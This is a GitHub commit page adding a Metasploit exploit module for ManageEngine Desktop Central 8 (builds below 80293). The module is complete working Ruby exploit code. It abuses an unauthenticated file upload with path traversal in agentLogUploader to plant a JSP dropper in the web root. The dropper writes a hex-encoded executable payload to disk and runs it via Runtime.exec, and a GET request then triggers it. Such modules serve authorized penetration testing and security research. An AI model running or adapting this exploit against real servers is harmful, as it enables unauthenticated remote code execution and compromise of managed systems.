-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #2650, @pnegry's exploit for DesktopCentral 8
- Loading branch information
Showing
1 changed file
with
153 additions
and
0 deletions.
There are no files selected for viewing
153 changes: 153 additions & 0 deletions
153
modules/exploits/windows/http/desktopcentral_file_upload.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', | ||
'Description' => %q{ | ||
This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 | ||
below build 80293. A malicious user can upload a JSP file into the web root without | ||
authentication, leading to arbitrary code execution. | ||
}, | ||
'Author' => | ||
[ | ||
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] | ||
], | ||
'Platform' => 'win', | ||
'Arch' => ARCH_X86, | ||
'Targets' => | ||
[ | ||
[ 'Manage Desktop Central 8 server / Windows', {} ] | ||
], | ||
'Privileged' => true, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'Nov 11 2013' | ||
)) | ||
|
||
register_options([Opt::RPORT(8020)], self.class) | ||
end | ||
|
||
def upload_file(filename, contents) | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), | ||
'method' => 'POST', | ||
'data' => contents, | ||
'ctype' => "text/html" | ||
}) | ||
|
||
if res and res.code == 200 and res.body.to_s.empty? | ||
return true | ||
else | ||
return false | ||
end | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri("configurations.do"), | ||
'method' => 'GET' | ||
}) | ||
|
||
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ | ||
build = $1 | ||
print_status("Manage Desktop Central 8 build #{build} found") | ||
if build < "80293" | ||
return Exploit::CheckCode::Vulnerable | ||
else | ||
return Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri("agentLogUploader"), | ||
'method' => 'POST' | ||
}) | ||
|
||
if res and res.code == 200 | ||
return Exploit::CheckCode::Detected | ||
end | ||
|
||
return Exploit::CheckCode::Safe | ||
end | ||
|
||
def exploit | ||
print_status("#{peer} - Uploading JSP to execute the payload") | ||
|
||
exe = payload.encoded_exe | ||
exe_filename = rand_text_alpha_lower(8) + ".exe" | ||
|
||
dropper = jsp_drop_and_execute(exe, exe_filename) | ||
dropper_filename = rand_text_alpha_lower(8) + ".jsp" | ||
|
||
if upload_file(dropper_filename, dropper) | ||
register_files_for_cleanup(exe_filename) | ||
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}") | ||
else | ||
fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed") | ||
end | ||
|
||
print_status("#{peer} - Executing payload") | ||
send_request_cgi( | ||
{ | ||
'uri' => normalize_uri(dropper_filename), | ||
'method' => 'GET' | ||
}) | ||
end | ||
|
||
def jsp_drop_bin(bin_data, output_file) | ||
jspraw = %Q|<%@ page import="java.io.*" %>\n| | ||
jspraw << %Q|<%\n| | ||
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| | ||
|
||
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| | ||
|
||
jspraw << %Q|int numbytes = data.length();\n| | ||
|
||
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| | ||
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| | ||
jspraw << %Q|{\n| | ||
jspraw << %Q| char char1 = (char) data.charAt(counter);\n| | ||
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| | ||
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| | ||
jspraw << %Q| comb <<= 4;\n| | ||
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| | ||
jspraw << %Q| bytes[counter/2] = (byte)comb;\n| | ||
jspraw << %Q|}\n| | ||
|
||
jspraw << %Q|outputstream.write(bytes);\n| | ||
jspraw << %Q|outputstream.close();\n| | ||
jspraw << %Q|%>\n| | ||
|
||
jspraw | ||
end | ||
|
||
def jsp_execute_command(command) | ||
jspraw = %Q|\n| | ||
jspraw << %Q|<%\n| | ||
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| | ||
jspraw << %Q|%>\n| | ||
|
||
jspraw | ||
end | ||
|
||
def jsp_drop_and_execute(bin_data, output_file) | ||
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) | ||
end | ||
end |